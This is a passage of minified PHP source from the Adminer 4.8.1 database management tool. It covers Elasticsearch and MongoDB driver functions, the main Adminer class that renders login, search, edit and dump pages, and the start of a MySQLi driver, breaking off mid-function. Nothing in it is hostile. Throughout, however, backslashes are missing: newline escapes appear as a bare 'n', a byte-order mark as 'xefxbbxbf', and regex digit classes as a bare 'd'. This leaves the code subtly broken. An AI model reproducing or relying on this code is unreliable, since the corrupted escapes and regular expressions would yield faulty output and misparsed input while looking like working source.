alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){global$g;if($Q==""){$g->_db->createCollection($D);return
true;}}function
drop_tables($S){global$g;foreach($S
as$Q){$Og=$g->_db->selectCollection($Q)->drop();if(!$Og['ok'])return
false;}return
true;}function
truncate_tables($S){global$g;foreach($S
as$Q){$Og=$g->_db->selectCollection($Q)->remove();if(!$Og['ok'])return
false;}return
true;}function
driver_config(){global$xf;return
array('possible_drivers'=>array("mongo","mongodb"),'jush'=>"mongo",'operators'=>$xf,'functions'=>array(),'grouping'=>array(),'edit_functions'=>array(array("json")),);}}$kc["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){define("DRIVER","elastic");if(function_exists('json_decode')&&ini_bool('allow_url_fopen')){class
Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url,$_db;function
rootQuery($ag,$Db=array(),$Se='GET'){@ini_set('track_errors',1);$Zc=@file_get_contents("$this->_url/".ltrim($ag,'/'),false,stream_context_create(array('http'=>array('method'=>$Se,'content'=>$Db===null?$Db:json_encode($Db),'header'=>'Content-Type: application/json','ignore_errors'=>1,))));if(!$Zc){$this->error=$php_errormsg;return$Zc;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=lang(32)." $http_response_header[0]";return
false;}$I=json_decode($Zc,true);if($I===null){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$Bb=get_defined_constants(true);foreach($Bb['json']as$D=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$D)){$this->error=$D;break;}}}}return$I;}function
query($ag,$Db=array(),$Se='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($ag,'/'),$Db,$Se);}function
connect($M,$V,$F){preg_match('~^(https?://)?(.*)~',$M,$C);$this->_url=($C[1]?$C[1]:"http://")."$V:$F@$C[2]";$I=$this->query('');if($I)$this->server_info=$I['version']['number'];return(bool)$I;}function
select_db($j){$this->_db=$j;return
true;}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows;function
__construct($K){$this->num_rows=count($K);$this->_rows=$K;reset($this->_rows);}function
fetch_assoc(){$I=current($this->_rows);next($this->_rows);return$I;}function
fetch_row(){return
array_values($this->fetch_assoc());}}}class
Min_Driver
extends
Min_SQL{function
select($Q,$L,$Z,$sd,$Bf=array(),$_=1,$E=0,$pg=false){global$b;$Rb=array();$G="$Q/_search";if($L!=array("*"))$Rb["fields"]=$L;if($Bf){$xh=array();foreach($Bf
as$kb){$kb=preg_replace('~ DESC$~','',$kb,1,$Ib);$xh[]=($Ib?array($kb=>"desc"):$kb);}$Rb["sort"]=$xh;}if($_){$Rb["size"]=+$_;if($E)$Rb["from"]=($E*$_);}foreach($Z
as$X){list($kb,$vf,$X)=explode(" ",$X,3);if($kb=="_id")$Rb["query"]["ids"]["values"][]=$X;elseif($kb.$X!=""){$ci=array("term"=>array(($kb!=""?$kb:"_all")=>$X));if($vf=="=")$Rb["query"]["filtered"]["filter"]["and"][]=$ci;else$Rb["query"]["filtered"]["query"]["bool"]["must"][]=$ci;}}if($Rb["query"]&&!$Rb["query"]["filtered"]["query"]&&!$Rb["query"]["ids"])$Rb["query"]["filtered"]["query"]=array("match_all"=>array());$Fh=microtime(true);$eh=$this->_conn->query($G,$Rb);if($pg)echo$b->selectQuery("$G: ".json_encode($Rb),$Fh,!$eh);if(!$eh)return
false;$I=array();foreach($eh['hits']['hits']as$Ed){$J=array();if($L==array("*"))$J["_id"]=$Ed["_id"];$p=$Ed['_source'];if($L!=array("*")){$p=array();foreach($L
as$z)$p[$z]=$Ed['fields'][$z];}foreach($p
as$z=>$X){if($Rb["fields"])$X=$X[0];$J[$z]=(is_array($X)?json_encode($X):$X);}$I[]=$J;}return
new
Min_Result($I);}function
update($T,$Cg,$zg,$_=0,$kh="n"){$Yf=preg_split('~ *= *~',$zg);if(count($Yf)==2){$u=trim($Yf[1]);$G="$T/$u";return$this->_conn->query($G,$Cg,'POST');}return
false;}function
insert($T,$Cg){$u="";$G="$T/$u";$Og=$this->_conn->query($G,$Cg,'POST');$this->_conn->last_id=$Og['_id'];return$Og['created'];}function
delete($T,$zg,$_=0){$Id=array();if(is_array($_GET["where"])&&$_GET["where"]["_id"])$Id[]=$_GET["where"]["_id"];if(is_array($_POST['check'])){foreach($_POST['check']as$bb){$Yf=preg_split('~ *= *~',$bb);if(count($Yf)==2)$Id[]=trim($Yf[1]);}}$this->_conn->affected_rows=0;foreach($Id
as$u){$G="{$T}/{$u}";$Og=$this->_conn->query($G,'{}','DELETE');if(is_array($Og)&&$Og['found']==true)$this->_conn->affected_rows++;}return$this->_conn->affected_rows;}}function
connect(){global$b;$g=new
Min_DB;list($M,$V,$F)=$b->credentials();if($F!=""&&$g->connect($M,$V,""))return
lang(22);if($g->connect($M,$V,$F))return$g;return$g->error;}function
support($Vc){return
preg_match("~database|table|columns~",$Vc);}function
logged_user(){global$b;$Mb=$b->credentials();return$Mb[1];}function
get_databases(){global$g;$I=$g->rootQuery('_aliases');if($I){$I=array_keys($I);sort($I,SORT_STRING);}return$I;}function
collations(){return
array();}function
db_collation($l,$nb){}function
engines(){return
array();}function
count_tables($k){global$g;$I=array();$H=$g->query('_stats');if($H&&$H['indices']){$Qd=$H['indices'];foreach($Qd
as$Pd=>$Gh){$Od=$Gh['total']['indexing'];$I[$Pd]=$Od['index_total'];}}return$I;}function
tables_list(){global$g;if(min_version(6))return
array('_doc'=>'table');$I=$g->query('_mapping');if($I)$I=array_fill_keys(array_keys($I[$g->_db]["mappings"]),'table');return$I;}function
table_status($D="",$Uc=false){global$g;$eh=$g->query("_search",array("size"=>0,"aggregations"=>array("count_by_type"=>array("terms"=>array("field"=>"_type")))),"POST");$I=array();if($eh){$S=$eh["aggregations"]["count_by_type"]["buckets"];foreach($S
as$Q){$I[$Q["key"]]=array("Name"=>$Q["key"],"Engine"=>"table","Rows"=>$Q["doc_count"],);if($D!=""&&$D==$Q["key"])return$I[$D];}}return$I;}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($R){}function
indexes($Q,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function
fields($Q){global$g;$Be=array();if(min_version(6)){$H=$g->query("_mapping");if($H)$Be=$H[$g->_db]['mappings']['properties'];}else{$H=$g->query("$Q/_mapping");if($H){$Be=$H[$Q]['properties'];if(!$Be)$Be=$H[$g->_db]['mappings'][$Q]['properties'];}}$I=array();if($Be){foreach($Be
as$D=>$o){$I[$D]=array("field"=>$D,"full_type"=>$o["type"],"type"=>$o["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);if($o["properties"]){unset($I[$D]["privileges"]["insert"]);unset($I[$D]["privileges"]["update"]);}}}return$I;}function
foreign_keys($Q){return
array();}function
table($v){return$v;}function
idf_escape($v){return$v;}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
fk_support($R){}function
found_rows($R,$Z){return
null;}function
create_database($l){global$g;return$g->rootQuery(urlencode($l),null,'PUT');}function
drop_databases($k){global$g;return$g->rootQuery(urlencode(implode(',',$k)),array(),'DELETE');}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){global$g;$vg=array();foreach($p
as$Sc){$Xc=trim($Sc[1][0]);$Yc=trim($Sc[1][1]?$Sc[1][1]:"text");$vg[$Xc]=array('type'=>$Yc);}if(!empty($vg))$vg=array('properties'=>$vg);return$g->query("_mapping/{$D}",$vg,'PUT');}function
drop_tables($S){global$g;$I=true;foreach($S
as$Q)$I=$I&&$g->query(urlencode($Q),array(),'DELETE');return$I;}function
last_id(){global$g;return$g->last_id;}function
driver_config(){$U=array();$Jh=array();foreach(array(lang(27)=>array("long"=>3,"integer"=>5,"short"=>8,"byte"=>10,"double"=>20,"float"=>66,"half_float"=>12,"scaled_float"=>21),lang(28)=>array("date"=>10),lang(25)=>array("string"=>65535,"text"=>65535),lang(29)=>array("binary"=>255),)as$z=>$X){$U+=$X;$Jh[$z]=array_keys($X);}return
array('possible_drivers'=>array("json + allow_url_fopen"),'jush'=>"elastic",'operators'=>array("=","query"),'functions'=>array(),'grouping'=>array(),'edit_functions'=>array(array("json")),'types'=>$U,'structured_types'=>$Jh,);}}class
Adminer{var$operators;function
name(){return"<a href='https://www.adminer.org/'".target_blank()." id='h1'>Adminer</a>";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
connectSsl(){}function
permanentLogin($i=false){return
password_file($i);}function
bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function
serverName($M){return
h($M);}function
database(){return
DB;}function
databases($fd=true){return
get_databases($fd);}function
schemas(){return
schemas();}function
queryTimeout(){return
2;}function
headers(){}function
csp(){return
csp();}function
head(){return
true;}function
css(){$I=array();$q="adminer.css";if(file_exists($q))$I[]="$q?v=".crc32(file_get_contents($q));return$I;}function
loginForm(){global$kc;echo"<table cellspacing='0' class='layout'>n",$this->loginFormField('driver','<tr><th>'.lang(33).'<td>',html_select("auth[driver]",$kc,DRIVER,"loginDriver(this);")."n"),$this->loginFormField('server','<tr><th>'.lang(34).'<td>','<input name="auth[server]" value="'.h(SERVER).'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">'."n"),$this->loginFormField('username','<tr><th>'.lang(35).'<td>','<input name="auth[username]" id="username" value="'.h($_GET["username"]).'" autocomplete="username" autocapitalize="off">'.script("focus(qs('#username')); qs('#username').form['auth[driver]'].onchange();")),$this->loginFormField('password','<tr><th>'.lang(36).'<td>','<input type="password" name="auth[password]" autocomplete="current-password">'."n"),$this->loginFormField('db','<tr><th>'.lang(37).'<td>','<input name="auth[db]" value="'.h($_GET["db"]).'" autocapitalize="off">'."n"),"</table>n","<p><input type='submit' value='".lang(38)."'>n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],lang(39))."n";}function
loginFormField($D,$Bd,$Y){return$Bd.$Y;}function
login($_e,$F){if($F=="")return
lang(40,target_blank());return
true;}function
tableName($Qh){return
h($Qh["Name"]);}function
fieldName($o,$Bf=0){return'<span title="'.h($o["full_type"]).'">'.h($o["field"]).'</span>';}function
selectLinks($Qh,$N=""){global$y,$m;echo'<p class="links">';$ze=array("select"=>lang(41));if(support("table")||support("indexes"))$ze["table"]=lang(42);if(support("table")){if(is_view($Qh))$ze["view"]=lang(43);else$ze["create"]=lang(44);}if($N!==null)$ze["edit"]=lang(45);$D=$Qh["Name"];foreach($ze
as$z=>$X)echo" <a href='".h(ME)."$z=".urlencode($D).($z=="edit"?$N:"")."'".bold(isset($_GET[$z])).">$X</a>";echo
doc_link(array($y=>$m->tableHelp($D)),"?"),"n";}function
foreignKeys($Q){return
foreign_keys($Q);}function
backwardKeys($Q,$Ph){return
array();}function
backwardKeysPrint($Oa,$J){}function
selectQuery($G,$Fh,$Tc=false){global$y,$m;$I="</p>n";if(!$Tc&&($ej=$m->warnings())){$u="warnings";$I=", <a href='#$u'>".lang(46)."</a>".script("qsl('a').onclick = partial(toggle, '$u');","")."$I<div id='$u' class='hidden'>n$ej</div>n";}return"<p><code class='jush-$y'>".h(str_replace("n"," ",$G))."</code> <span class='time'>(".format_time($Fh).")</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($G)."'>".lang(10)."</a>":"").$I;}function
sqlCommandQuery($G){return
shorten_utf8(trim($G),1000);}function
rowDescription($Q){return"";}function
rowDescriptions($K,$id){return$K;}function
selectLink($X,$o){}function
selectVal($X,$A,$o,$Jf){$I=($X===null?"<i>NULL</i>":(preg_match("~char|binary|boolean~",$o["type"])&&!preg_match("~var~",$o["type"])?"<code>$X</code>":$X));if(preg_match('~blob|bytea|raw|file~',$o["type"])&&!is_utf8($X))$I="<i>".lang(47,strlen($Jf))."</i>";if(preg_match('~json~',$o["type"]))$I="<code class='jush-js'>$I</code>";return($A?"<a href='".h($A)."'".(is_url($A)?target_blank():"").">$I</a>":$I);}function
editVal($X,$o){return$X;}function
tableStructurePrint($p){echo"<div class='scrollable'>n","<table cellspacing='0' class='nowrap'>n","<thead><tr><th>".lang(48)."<td>".lang(49).(support("comment")?"<td>".lang(50):"")."</thead>n";foreach($p
as$o){echo"<tr".odd()."><th>".h($o["field"]),"<td><span title='".h($o["collation"])."'>".h($o["full_type"])."</span>",($o["null"]?" <i>NULL</i>":""),($o["auto_increment"]?" <i>".lang(51)."</i>":""),(isset($o["default"])?" <span title='".lang(52)."'>[<b>".h($o["default"])."</b>]</span>":""),(support("comment")?"<td>".h($o["comment"]):""),"n";}echo"</table>n","</div>n";}function
tableIndexesPrint($x){echo"<table cellspacing='0'>n";foreach($x
as$D=>$w){ksort($w["columns"]);$pg=array();foreach($w["columns"]as$z=>$X)$pg[]="<i>".h($X)."</i>".($w["lengths"][$z]?"(".$w["lengths"][$z].")":"").($w["descs"][$z]?" DESC":"");echo"<tr title='".h($D)."'><th>$w[type]<td>".implode(", ",$pg)."n";}echo"</table>n";}function
selectColumnsPrint($L,$e){global$pd,$vd;print_fieldset("select",lang(53),$L);$t=0;$L[""]=array();foreach($L
as$z=>$X){$X=$_GET["columns"][$z];$d=select_input(" name='columns[$t][col]'",$e,$X["col"],($z!==""?"selectFieldChange":"selectAddRow"));echo"<div>".($pd||$vd?"<select name='columns[$t][fun]'>".optionlist(array(-1=>"")+array_filter(array(lang(54)=>$pd,lang(55)=>$vd)),$X["fun"])."</select>".on_help("getTarget(event).value && getTarget(event).value.replace(/ |$/, '(') + ')'",1).script("qsl('select').onchange = function () { helpClose();".($z!==""?"":" qsl('select, input', this.parentNode).onchange();")." };","")."($d)":$d)."</div>n";$t++;}echo"</div></fieldset>n";}function
selectSearchPrint($Z,$e,$x){print_fieldset("search",lang(56),$Z);foreach($x
as$t=>$w){if($w["type"]=="FULLTEXT"){echo"<div>(<i>".implode("</i>, <i>",array_map('h',$w["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$t]' value='".h($_GET["fulltext"][$t])."'>",script("qsl('input').oninput = selectFieldChange;",""),checkbox("boolean[$t]",1,isset($_GET["boolean"][$t]),"BOOL"),"</div>n";}}$Za="this.parentNode.firstChild.onchange();";foreach(array_merge((array)$_GET["where"],array(array()))as$t=>$X){if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"<div>".select_input(" name='where[$t][col]'",$e,$X["col"],($X?"selectFieldChange":"selectAddRow"),"(".lang(57).")"),html_select("where[$t][op]",$this->operators,$X["op"],$Za),"<input type='search' name='where[$t][val]' value='".h($X["val"])."'>",script("mixin(qsl('input'), {oninput: function () { $Za }, onkeydown: selectSearchKeydown, onsearch: selectSearchSearch});",""),"</div>n";}}echo"</div></fieldset>n";}function
selectOrderPrint($Bf,$e,$x){print_fieldset("sort",lang(58),$Bf);$t=0;foreach((array)$_GET["order"]as$z=>$X){if($X!=""){echo"<div>".select_input(" name='order[$t]'",$e,$X,"selectFieldChange"),checkbox("desc[$t]",1,isset($_GET["desc"][$z]),lang(59))."</div>n";$t++;}}echo"<div>".select_input(" name='order[$t]'",$e,"","selectAddRow"),checkbox("desc[$t]",1,false,lang(59))."</div>n","</div></fieldset>n";}function
selectLimitPrint($_){echo"<fieldset><legend>".lang(60)."</legend><div>";echo"<input type='number' name='limit' class='size' value='".h($_)."'>",script("qsl('input').oninput = selectFieldChange;",""),"</div></fieldset>n";}function
selectLengthPrint($fi){if($fi!==null){echo"<fieldset><legend>".lang(61)."</legend><div>","<input type='number' name='text_length' class='size' value='".h($fi)."'>","</div></fieldset>n";}}function
selectActionPrint($x){echo"<fieldset><legend>".lang(62)."</legend><div>","<input type='submit' value='".lang(53)."'>"," <span id='noindex' title='".lang(63)."'></span>","<script".nonce().">n","var indexColumns = ";$e=array();foreach($x
as$w){$Qb=reset($w["columns"]);if($w["type"]!="FULLTEXT"&&$Qb)$e[$Qb]=1;}$e[""]=1;foreach($e
as$z=>$X)json_row($z);echo";n","selectFieldChange.call(qs('#form')['select']);n","</script>n","</div></fieldset>n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint($xc,$e){}function
selectColumnsProcess($e,$x){global$pd,$vd;$L=array();$sd=array();foreach((array)$_GET["columns"]as$z=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$pd)||in_array($X["fun"],$vd)))){$L[$z]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$vd))$sd[]=$L[$z];}}return
array($L,$sd);}function
selectSearchProcess($p,$x){global$g,$m;$I=array();foreach($x
as$t=>$w){if($w["type"]=="FULLTEXT"&&$_GET["fulltext"][$t]!="")$I[]="MATCH (".implode(", ",array_map('idf_escape',$w["columns"])).") AGAINST (".q($_GET["fulltext"][$t]).(isset($_GET["boolean"][$t])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$z=>$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$lg="";$wb=" $X[op]";if(preg_match('~IN$~',$X["op"])){$Ld=process_length($X["val"]);$wb.=" ".($Ld!=""?$Ld:"(NULL)");}elseif($X["op"]=="SQL")$wb=" $X[val]";elseif($X["op"]=="LIKE %%")$wb=" LIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif($X["op"]=="ILIKE %%")$wb=" ILIKE ".$this->processInput($p[$X["col"]],"%$X[val]%");elseif($X["op"]=="FIND_IN_SET"){$lg="$X[op](".q($X["val"]).", ";$wb=")";}elseif(!preg_match('~NULL$~',$X["op"]))$wb.=" ".$this->processInput($p[$X["col"]],$X["val"]);if($X["col"]!="")$I[]=$lg.$m->convertSearch(idf_escape($X["col"]),$X,$p[$X["col"]]).$wb;else{$pb=array();foreach($p
as$D=>$o){if((preg_match('~^[-d.'.(preg_match('~IN$~',$X["op"])?',':'').']+$~',$X["val"])||!preg_match('~'.number_type().'|bit~',$o["type"]))&&(!preg_match("~[x80-xFF]~",$X["val"])||preg_match('~char|text|enum|set~',$o["type"]))&&(!preg_match('~date|timestamp~',$o["type"])||preg_match('~^d+-d+-d+~',$X["val"])))$pb[]=$lg.$m->convertSearch(idf_escape($D),$X,$o).$wb;}$I[]=($pb?"(".implode(" OR ",$pb).")":"1 = 0");}}}return$I;}function
selectOrderProcess($p,$x){$I=array();foreach((array)$_GET["order"]as$z=>$X){if($X!="")$I[]=(preg_match('~^((COUNT(DISTINCT |[A-Z0-9_]+()(`(?:[^`]|``)+`|"(?:[^"]|"")+"))|COUNT(*))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$z])?" DESC":"");}return$I;}function
selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function
selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function
selectEmailProcess($Z,$id){return
false;}function
selectQueryBuild($L,$Z,$sd,$Bf,$_,$E){return"";}function
messageQuery($G,$gi,$Tc=false){global$y,$m;restart_session();$Cd=&get_session("queries");if(!$Cd[$_GET["db"]])$Cd[$_GET["db"]]=array();if(strlen($G)>1e6)$G=preg_replace('~[x80-xFF]+$~','',substr($G,0,1e6))."n…";$Cd[$_GET["db"]][]=array($G,time(),$gi);$Ch="sql-".count($Cd[$_GET["db"]]);$I="<a href='#$Ch' class='toggle'>".lang(64)."</a>n";if(!$Tc&&($ej=$m->warnings())){$u="warnings-".count($Cd[$_GET["db"]]);$I="<a href='#$u' class='toggle'>".lang(46)."</a>, $I<div id='$u' class='hidden'>n$ej</div>n";}return" <span class='time'>".@date("H:i:s")."</span>"." $I<div id='$Ch' class='hidden'><pre><code class='jush-$y'>".shorten_utf8($G,1000)."</code></pre>".($gi?" <span class='time'>($gi)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($Cd[$_GET["db"]])-1)).'">'.lang(10).'</a>':'').'</div>';}function
editRowPrint($Q,$p,$J,$Li){}function
editFunctions($o){global$sc;$I=($o["null"]?"NULL/":"");$Li=isset($_GET["select"])||where($_GET);foreach($sc
as$z=>$pd){if(!$z||(!isset($_GET["call"])&&$Li)){foreach($pd
as$cg=>$X){if(!$cg||preg_match("~$cg~",$o["type"]))$I.="/$X";}}if($z&&!preg_match('~set|blob|bytea|raw|file|bool~',$o["type"]))$I.="/SQL";}if($o["auto_increment"]&&!$Li)$I=lang(51);return
explode("/",$I);}function
editInput($Q,$o,$Ia,$Y){if($o["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$Ia value='-1' checked><i>".lang(8)."</i></label> ":"").($o["null"]?"<label><input type='radio'$Ia value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ia,$o,$Y,0);return"";}function
editHint($Q,$o,$Y){return"";}function
processInput($o,$Y,$s=""){if($s=="SQL")return$Y;$D=$o["field"];$I=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$s))$I="$s()";elseif(preg_match('~^current_(date|timestamp)$~',$s))$I=$s;elseif(preg_match('~^([+-]|||)$~',$s))$I=idf_escape($D)." $s $I";elseif(preg_match('~^[+-] interval$~',$s))$I=idf_escape($D)." $s ".(preg_match("~^(\d+|'[0-9.: -]') [A-Z_]+$~i",$Y)?$Y:$I);elseif(preg_match('~^(addtime|subtime|concat)$~',$s))$I="$s(".idf_escape($D).", $I)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$s))$I="$s($I)";return
unconvert_field($o,$I);}function
dumpOutput(){$I=array('text'=>lang(65),'file'=>lang(66));if(function_exists('gzencode'))$I['gz']='gzip';return$I;}function
dumpFormat(){return
array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($l){}function
dumpTable($Q,$Kh,$ee=0){if($_POST["format"]!="sql"){echo"xefxbbxbf";if($Kh)dump_csv(array_keys(fields($Q)));}else{if($ee==2){$p=array();foreach(fields($Q)as$D=>$o)$p[]=idf_escape($D)." $o[full_type]";$i="CREATE TABLE ".table($Q)." (".implode(", ",$p).")";}else$i=create_sql($Q,$_POST["auto_increment"],$Kh);set_utf8mb4($i);if($Kh&&$i){if($Kh=="DROP+CREATE"||$ee==1)echo"DROP ".($ee==2?"VIEW":"TABLE")." IF EXISTS ".table($Q).";n";if($ee==1)$i=remove_definer($i);echo"$i;nn";}}}function
dumpData($Q,$Kh,$G){global$g,$y;$He=($y=="sqlite"?0:1048576);if($Kh){if($_POST["format"]=="sql"){if($Kh=="TRUNCATE+INSERT")echo
truncate_sql($Q).";n";$p=fields($Q);}$H=$g->query($G,1);if($H){$Xd="";$Wa="";$je=array();$Mh="";$Wc=($Q!=''?'fetch_assoc':'fetch_row');while($J=$H->$Wc()){if(!$je){$Wi=array();foreach($J
as$X){$o=$H->fetch_field();$je[]=$o->name;$z=idf_escape($o->name);$Wi[]="$z = VALUES($z)";}$Mh=($Kh=="INSERT+UPDATE"?"nON DUPLICATE KEY UPDATE ".implode(", ",$Wi):"").";n";}if($_POST["format"]!="sql"){if($Kh=="table"){dump_csv($je);$Kh="INSERT";}dump_csv($J);}else{if(!$Xd)$Xd="INSERT INTO ".table($Q)." (".implode(", ",array_map('idf_escape',$je)).") VALUES";foreach($J
as$z=>$X){$o=$p[$z];$J[$z]=($X!==null?unconvert_field($o,preg_match(number_type(),$o["type"])&&!preg_match('~[~',$o["full_type"])&&is_numeric($X)?$X:q(($X===false?0:$X))):"NULL");}$ah=($He?"n":" ")."(".implode(",t",$J).")";if(!$Wa)$Wa=$Xd.$ah;elseif(strlen($Wa)+4+strlen($ah)+strlen($Mh)<$He)$Wa.=",$ah";else{echo$Wa.$Mh;$Wa=$Xd.$ah;}}}if($Wa)echo$Wa.$Mh;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("n"," ",$g->error)."n";}}function
dumpFilename($Hd){return
friendly_url($Hd!=""?$Hd:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($Hd,$Ve=false){$Mf=$_POST["output"];$Oc=(preg_match('~sql~',$_POST["format"])?"sql":($Ve?"tar":"csv"));header("Content-Type: ".($Mf=="gz"?"application/x-gzip":($Oc=="tar"?"application/x-tar":($Oc=="sql"||$Mf!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($Mf=="gz")ob_start('ob_gzencode',1e6);return$Oc;}function
importServerPath(){return"adminer.sql";}function
homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.lang(67)."</a>n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?lang(68):lang(69))."</a>n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.lang(70)."</a>n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".lang(71)."</a>n":"");return
true;}function
navigation($Ue){global$ia,$y,$kc,$g;echo'<h1>
',$this->name(),' <span class="version">',$ia,'</span>
<a href="https://www.adminer.org/#download"',target_blank(),' id="version">',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),'</a>
</h1>
';if($Ue=="auth"){$Mf="";foreach((array)$_SESSION["pwds"]as$Yi=>$oh){foreach($oh
as$M=>$Ti){foreach($Ti
as$V=>$F){if($F!==null){$Wb=$_SESSION["db"][$Yi][$M][$V];foreach(($Wb?array_keys($Wb):array(""))as$l)$Mf.="<li><a href='".h(auth_url($Yi,$M,$V,$l))."'>($kc[$Yi]) ".h($V.($M!=""?"@".$this->serverName($M):"").($l!=""?" - $l":""))."</a>n";}}}}if($Mf)echo"<ul id='logins'>n$Mf</ul>n".script("mixin(qs('#logins'), {onmouseover: menuOver, onmouseout: menuOut});");}else{$S=array();if($_GET["ns"]!==""&&!$Ue&&DB!=""){$g->select_db(DB);$S=table_status('',true);}echo
script_src(preg_replace("~\?.*~","",ME)."?file=jush.js&version=4.8.1");if(support("sql")){echo'<script',nonce(),'>
';if($S){$ze=array();foreach($S
as$Q=>$T)$ze[]=preg_quote($Q,'/');echo"var jushLinks = { $y: [ '".js_escape(ME).(support("table")?"table=":"select=")."$&', /\b(".implode("|",$ze).")\b/g ] };n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.$y;n";}$nh=$g->server_info;echo'bodyLoad('',(is_object($g)?preg_replace('~^(d.?d).*~s','1',$nh):""),''',(preg_match('~MariaDB~',$nh)?", true":""),');
</script>
';}$this->databasesPrint($Ue);if(DB==""||!$Ue){echo"<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".lang(64)."</a>n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".lang(72)."</a>n":"")."";if(support("dump"))echo"<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".lang(73)."</a>n";}if($_GET["ns"]!==""&&!$Ue&&DB!=""){echo'<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".lang(74)."</a>n";if(!$S)echo"<p class='message'>".lang(9)."n";else$this->tablesPrint($S);}}}function
databasesPrint($Ue){global$b,$g;$k=$this->databases();if(DB&&$k&&!in_array(DB,$k))array_unshift($k,DB);echo'<form action="">
<p id="dbs">
';hidden_fields_get();$Ub=script("mixin(qsl('select'), {onmousedown: dbMouseDown, onchange: dbChange});");echo"<span title='".lang(75)."'>".lang(76)."</span>: ".($k?"<select name='db'>".optionlist(array(""=>"")+$k,DB)."</select>$Ub":"<input name='db' value='".h(DB)."' autocapitalize='off'>n"),"<input type='submit' value='".lang(20)."'".($k?" class='hidden'":"").">n";if(support("scheme")){if($Ue!="db"&&DB!=""&&$g->select_db(DB)){echo"<br>".lang(77).": <select name='ns'>".optionlist(array(""=>"")+$b->schemas(),$_GET["ns"])."</select>$Ub";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}foreach(array("import","sql","schema","dump","privileges")as$X){if(isset($_GET[$X])){echo"<input type='hidden' name='$X' value=''>";break;}}echo"</p></form>n";}function
tablesPrint($S){echo"<ul id='tables'>".script("mixin(qs('#tables'), {onmouseover: menuOver, onmouseout: menuOut});");foreach($S
as$Q=>$O){$D=$this->tableName($O);if($D!=""){echo'<li><a href="'.h(ME).'select='.urlencode($Q).'"'.bold($_GET["select"]==$Q||$_GET["edit"]==$Q,"select")." title='".lang(41)."'>".lang(78)."</a> ",(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($Q).'"'.bold(in_array($Q,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($O)?"view":"structure"))." title='".lang(42)."'>$D</a>":"<span>$D</span>")."n";}}echo"</ul>n";}}$b=(function_exists('adminer_object')?adminer_object():new
Adminer);$kc=array("server"=>"MySQL")+$kc;if(!defined("DRIVER")){define("DRIVER","server");if(extension_loaded("mysqli")){class
Min_DB
extends
MySQLi{var$extension="MySQLi";function
__construct(){parent::init();}function
connect($M="",$V="",$F="",$j=null,$gg=null,$wh=null){global$b;mysqli_report(MYSQLI_REPORT_OFF);list($Fd,$gg)=explode(":",$M,2);$Eh=$b->connectSsl();if($Eh)$this->ssl_set($Eh['key'],$Eh['cert'],$Eh['ca'],'','');$I=@$this->real_connect(($M!=""?$Fd:ini_get("mysqli.default_host")),($M.$V!=""?$V:ini_get("mysqli.default_user")),($M.$V.$F!=""?$F:ini_get("mysqli.default_pw")),$j,(is_numeric($gg)?$gg:ini_get("mysqli.default_port")),(!is_numeric($gg)?$gg:$wh),($Eh?64:0));$this->options(MYSQLI_OPT_LOCAL_INFILE,false);return$I;}function
set_charset($ab){if(parent::set_charset($ab))return
